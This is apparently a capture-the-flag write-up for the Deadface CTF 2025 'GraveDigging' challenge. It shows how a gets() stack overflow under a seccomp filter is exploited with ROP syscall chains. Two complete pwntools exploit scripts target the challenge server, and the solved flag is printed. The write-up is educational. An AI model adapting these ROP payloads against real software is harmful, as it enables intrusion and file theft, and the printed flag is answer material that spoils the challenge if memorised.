- Published on
Deadface CTF 2025 PWN - GraveDigging
- Authors

- Name
- Basim Mehdi
Table of Contents
- TL;DR
- Challenge description
- Files provided
- Initial observations
- Binary analysis
- Seccomp twist and strategy
- Exploit: list directory entries (getdents64)
- Exploit: read the flag file
- Takeaways
TL;DR
This 64-bit ELF PWN challenge (gravedigging) has a classic buffer overflow (16-byte stack buffer + gets) but is protected by a seccomp filter that allows only a handful of syscalls: read, write, open, getdents64, exit, and futex (plus the usual thread/arch helpers). Because spawning a shell is impossible under seccomp, the solution uses ROP to invoke allowed syscalls directly (using small gadgets) to first list the current directory and then open and read the true flag file.
Challenge description

Files provided
gravedigging— 64-bit ELF (Partial RELRO | NX | No Canary | No PIE | Not stripped)

Initial observations
vuln()callsgets()on a 16-byte stack buffer — straightforward overflow.install_filter()installs a seccomp filter that only allows these syscalls (by number):0 (read),1 (write),2 (open),78 (getdents64),60 (exit),202 (futex/arch_prctl)and231 (exit_group).- The binary contains useful ROP gadgets:
pop rdi; retpop rsi; retpop rdx; retpop rax; retsyscallgadget
With these gadgets we can perform arbitrary syscalls by setting rdi/rsi/rdx and rax, then jumping to syscall.
Binary analysis (short excerpts)
Main (pseudocode):
int main() {
print_ascii_art();
puts("Which Grave shall you search?");
install_filter();
vuln(); // gets() on 16-byte stack buffer
puts("Wrong Grave!!!!");
return 0;
}
install_filter (decompiled):
seccomp_init(...);
seccomp_rule_add(..., SYS_exit);
seccomp_rule_add(..., SYS_exit_group);
seccomp_rule_add(..., SYS_arch_prctl);
seccomp_rule_add(..., SYS_open);
seccomp_rule_add(..., SYS_read);
seccomp_rule_add(..., SYS_write);
seccomp_rule_add(..., SYS_getdents64);
// load rules
vuln():
__int64 vuln() {
char buf[16];
return gets(buf);
}
Because gets() reads until newline and performs no bounds checking, overflowing the 16-byte buffer lets us overwrite the return address and build a ROP chain.
Seccomp twist and strategy
Because only a small syscall set is available, spawning a shell is off the table. Instead we use ROP to perform the following higher-level tasks via syscalls:
- List files in the current working directory using
open(".")+getdents64so we can discover the actual flag filename. - Once we know the filename,
open()it andread()the contents into memory, thenwrite()to stdout.
Contract (what each ROP step must deliver):
- Inputs: Ability to pass the payload via stdin to
gets()and then send short data (directory string or filename) via stdin. - Outputs: Directory listing and then file contents printed to stdout.
- Error modes: Syscalls return negative values; ROP chain should be robust to unexpected file descriptor numbers.
Edge cases considered:
- Directory entries may require parsing — the exploit prints raw
getdents64output for offline parsing.
Exploit — list directory entries (getdents64)
Goal:
- Read
.directory withopen(".") - Call
getdents64(fd, buf, size) - Then
write(1, buf, nread).
Exploit Code:
from pwn import *
elf = context.binary = ELF('./gravedigging')
# io = process('./gravedigging')
io = remote('env02.deadface.io', 5632)
pop_rdi = 0x4011a0
pop_rsi = 0x4011a5
pop_rdx = 0x4011af
pop_rax = 0x4011aa
syscall = 0x40119a
dirbuf = elf.bss() + 0x400
payload = cyclic(24)
# read(".") into memory (so open() can use it)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(elf.bss() + 0x200)
payload += p64(pop_rdx) + p64(0x100)
payload += p64(pop_rax) + p64(0) # SYS_read
payload += p64(syscall)
# open(bss) -> fd
payload += p64(pop_rdi) + p64(elf.bss() + 0x200)
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rax) + p64(2) # SYS_open
payload += p64(syscall)
# getdents64(fd=3, dirbuf, 0x400)
payload += p64(pop_rdi) + p64(3)
payload += p64(pop_rsi) + p64(dirbuf)
payload += p64(pop_rdx) + p64(0x400)
payload += p64(pop_rax) + p64(78) # SYS_getdents64
payload += p64(syscall)
# write(1, dirbuf, 0x400)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi) + p64(dirbuf)
payload += p64(pop_rdx) + p64(0x400)
payload += p64(pop_rax) + p64(1) # SYS_write
payload += p64(syscall)
io.recvuntil(b"Which Grave shall you search?")
io.sendline(payload)
time.sleep(0.02)
# Send the directory name string so the read() above fills it
io.sendline(b".\x00")
io.interactive()
Note:
getdents64returns packed dirent structures — printing the raw buffer is sufficient to extract filenames offline.

Exploit — read the flag file
Once the real filename is discovered:
- The next ROP simply
read()the filename into memory open()itread()its contents into a bufferwrite()to stdout.
Exploit Code:
from pwn import *
elf = context.binary = ELF('./gravedigging', checksec=False)
io = remote('env02.deadface.io', 5632)
pop_rdi = 0x4011a0
pop_rsi = 0x4011a5
pop_rdx = 0x4011af
pop_rax = 0x4011aa
syscall = 0x40119a
file_to_read = b'Sara Flagg 1990, 2025 -- she sure loved ctfs\x00'
payload = cyclic(24)
# read(filename)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(elf.bss() + 0x200)
payload += p64(pop_rdx) + p64(len(file_to_read))
payload += p64(pop_rax) + p64(0)
payload += p64(syscall)
# open(bss)
payload += p64(pop_rdi) + p64(elf.bss() + 0x200)
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rax) + p64(2)
payload += p64(syscall)
# read(fd=3, buf, 0x100)
payload += p64(pop_rdi) + p64(3)
payload += p64(pop_rsi) + p64(elf.bss() + 0x400)
payload += p64(pop_rdx) + p64(0x100)
payload += p64(pop_rax) + p64(0)
payload += p64(syscall)
# write(1, buf, 0x100)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi) + p64(elf.bss() + 0x400)
payload += p64(pop_rdx) + p64(0x100)
payload += p64(pop_rax) + p64(1)
payload += p64(syscall)
io.recvuntil(b"Which Grave shall you search?")
io.sendline(payload)
time.sleep(0.02)
io.sendline(file_to_read)
io.interactive()

After reading the correct file name (Sara Flagg 1990, 2025 -- she sure loved ctfs) the flag was revealed:
deadface{Th3_M05T_P0w3RfUl_5P3LLS_4Re_TH3_On35_N0B0dy_ExP3CT5}
Takeaways
- Under seccomp restrictions you can still solve problems by invoking allowed syscalls directly via ROP.
- When a flagged file isn't at the expected path, listing the working directory with
getdents64is often the simplest way to discover it.